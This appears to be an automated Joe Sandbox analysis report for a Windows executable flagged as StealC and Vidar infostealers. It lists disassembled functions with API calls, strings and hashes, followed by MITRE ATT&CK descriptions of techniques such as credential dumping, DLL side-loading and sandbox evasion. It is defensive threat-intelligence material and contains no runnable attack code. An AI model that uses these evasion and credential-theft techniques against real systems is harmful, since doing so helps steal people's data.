Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: ebd837007defe26ee9175a32f96c61751019fd5b868ed50f368bb0e6bc04663f
Instruction ID: b3de1599416444cc140386dc4567eb343d23b19b8ce20dcefd6d08b4140a8cc1
Opcode Fuzzy Hash: ebd837007defe26ee9175a32f96c61751019fd5b868ed50f368bb0e6bc04663f
Instruction Fuzzy Hash: F3113431E04688D7DF018F6ECC444EDB775EFDA258F458229DC459B612EB34A984C390

Function 6C5B4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5B44B2,6C62E21C,6C62F7F8), ref: 6C5B473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5B474A

Strings

GetNtLoaderAPI, xrefs: 6C5B4744

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 3882535caba9bf675bc40a63b58b4473d342166d80b7592f9fa2d87ed88611e8
Instruction ID: e377d0aa49a38f1f29246ed5ffa417c707ad2c65e92467725175113c95433efa
Opcode Fuzzy Hash: 3882535caba9bf675bc40a63b58b4473d342166d80b7592f9fa2d87ed88611e8
Instruction Fuzzy Hash: E2018C753052159FDF109FA78894A1D7BB9EB8A311F040069EA06D7300CB78D802CF9A

Function 6C606DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C606E22
__Init_thread_footer.LIBCMT ref: 6C606E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C606E1D

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 2b9e3949eab14a6f7c4a3d4070d103ebb495d7a247e5e61090762738b71d2cca
Instruction ID: 024e4cc1d8689df441d8ceaff222fce83e046cd8f734c1fc08befb674e403705
Opcode Fuzzy Hash: 2b9e3949eab14a6f7c4a3d4070d103ebb495d7a247e5e61090762738b71d2cca
Instruction Fuzzy Hash: 26F0FA30309380CAEB008B69CAA0EC277729742B18F040165C80186FA1CA29F987CF9F

Function 6C5B9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5B9EEF

Strings

Infinity, xrefs: 6C5B9EB7
NaN, xrefs: 6C5B9EC1

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 161d9af429ed195f77abd69af26fbab8466775acdb676d6d6b8bb88561346404
Instruction ID: fbaf3a5bb5981a9dc85788cc8266dce170ca99ea17aa831848620ec5fdbcdc7c
Opcode Fuzzy Hash: 161d9af429ed195f77abd69af26fbab8466775acdb676d6d6b8bb88561346404
Instruction Fuzzy Hash: E5F0A970600262CAEB008F1ADE96B823BF1A35371AF600E19D5041AB80D73E7946CF8F

Function 6C5B6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K^l,?,6C5E4B30,80000000,?,6C5E4AB7,?,6C5A43CF,?,6C5A42D2), ref: 6C5B6C42

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

moz_xmalloc.MOZGLUE(0K^l,?,6C5E4B30,80000000,?,6C5E4AB7,?,6C5A43CF,?,6C5A42D2), ref: 6C5B6C58

Strings

0K^l, xrefs: 6C5B6C33, 6C5B6C41, 6C5B6C57

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K^l
API String ID: 1967447596-3449559093
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 7730db33859605fa4891f2fc2e51ff307dea3b65e17dffbf0f658fc81488f961
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 74E026F1A103004ADB0CD8799C2A52A79C8CB352A87044A35E826F3BC8FF34F9408051

Function 6C5B3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C62F860), ref: 6C5B385C
ReleaseSRWLockExclusive.KERNEL32(6C62F860,?), ref: 6C5B3871

Strings

,bl, xrefs: 6C5B387A

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,bl
API String ID: 17069307-4033880889
Opcode ID: 96bcab5be6b60f8f8268449ea379e9e858461bd518bc4d5ba76e2c8c6641344c
Instruction ID: c587f609c1da52f53258d3f17e377b0dcfd55333d9ce8ae54d14a3b2ce5bb89a
Opcode Fuzzy Hash: 96bcab5be6b60f8f8268449ea379e9e858461bd518bc4d5ba76e2c8c6641344c
Instruction Fuzzy Hash: 6CE0DF32916A29D7C7019FA7985158ABFB8EE83AA17044515F80A3BE00CB3CA4408ECF

Function 6C5BBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C5BBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C5BBEF5

Strings

cryptbase.dll, xrefs: 6C5BBEF0

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: f304f89b7f1098ab588461850324c203061fffd6f79296763012e72f16054808
Instruction ID: 5a8e827c48539296f82e644b6e10bc4caaacba438bdb67aedd30e8c440003529
Opcode Fuzzy Hash: f304f89b7f1098ab588461850324c203061fffd6f79296763012e72f16054808
Instruction Fuzzy Hash: 99D0C731184208EAD740BA518D56B253B74E741755F10C421F79654961C7F5A451CF58

Function 6C5FB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB628

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C5FB127,?,?,?,?,?,?,?,?), ref: 6C5FB74D

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 64aa8345e48425a80c77f4c7ac13a772bebb3a794955cfacd32b6bbe6cc7de61
Instruction ID: b712c67391636e8cc1ced318c4a05d7d813e26569a77d797f07b665b612d7291
Opcode Fuzzy Hash: 64aa8345e48425a80c77f4c7ac13a772bebb3a794955cfacd32b6bbe6cc7de61
Instruction Fuzzy Hash: 6651BF71A06216CBDB18EF18CD8065EB7B5FF85304F55852DC86AAB700E731A806CFA1

Function 6C5FDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5EFF2A), ref: 6C5FDFFD

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5EFF2A), ref: 6C5FE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5EFF2A), ref: 6C5FE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C5EFF2A), ref: 6C5FE0FE

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5cfdbe5f39ab9eeb31584171caf191b848b15f7f46d225642a5cefa08b4b7434
Instruction ID: 53dfd28938f0a45e317777257ab16be6561e4e64da06be9331d203c65a2feaab
Opcode Fuzzy Hash: 5cfdbe5f39ab9eeb31584171caf191b848b15f7f46d225642a5cefa08b4b7434
Instruction Fuzzy Hash: F841B3B16046168FEB18CF68DC8075A77BAEB45308F244939D526DB740E7B2E906CFD2

Function 6C5F6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C5F6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C5F6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5F6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F6F5C

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 5cf9d2bf3d837c3957ea928ef843f79daedadce377f00d9fe1ca00bba72be87d
Instruction ID: fe99e3e7cc7026cdc591976d874872a8b6039d257af178db3d3df5153889b693
Opcode Fuzzy Hash: 5cf9d2bf3d837c3957ea928ef843f79daedadce377f00d9fe1ca00bba72be87d
Instruction Fuzzy Hash: FA31C571A1060A8FEB08CF2CCD806AA73E9EB85344F504639D52AC7655EF31E65ACB91

Function 6C60B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5B0A4D), ref: 6C60B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C5B0A4D), ref: 6C60B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5B0A4D), ref: 6C60B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C5B0A4D), ref: 6C60B67F

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 2db3bba7e13b4994be89daef076b27c93a3fa56044cfc655a27edf42c0c0bcd6
Instruction ID: c005816eac53de3db2f64862330d05e188912859335dcd8631030355d99441d6
Opcode Fuzzy Hash: 2db3bba7e13b4994be89daef076b27c93a3fa56044cfc655a27edf42c0c0bcd6
Instruction Fuzzy Hash: 4931D471A112168FEB14CF59C98465AFBB9FFC1304F16C569C806AB201DB31E915CBE5

Function 6C5DF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5DF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5DF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DF668

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: f3efbb9df7ab69244732f3331dbab488b233a8e45ecd5aa99811ab534ae9bba5
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 35314F71A00314AFC714CF5DDCC0A9F77B5EB85358B188A39FA4A8BB05D632F9448B98

Function 6C5F26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F26C1
free.MOZGLUE(?), ref: 6C5F26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F26FF
free.MOZGLUE ref: 6C5F270D

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 155de90e8657adb84e35884fc56bae3f43477ba44312ac8d09c4cc45bfbd8ceb
Instruction ID: 836eab60d468a3676c8e9ebce83fa91ae8bd3a814d68d1400a0f09585e9a4d07
Opcode Fuzzy Hash: 155de90e8657adb84e35884fc56bae3f43477ba44312ac8d09c4cc45bfbd8ceb
Instruction Fuzzy Hash: D4F0F9F27012406BFB049A59DCC494BB3ADEF81258B500035EA2AC3B01E732F91ACAD7

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

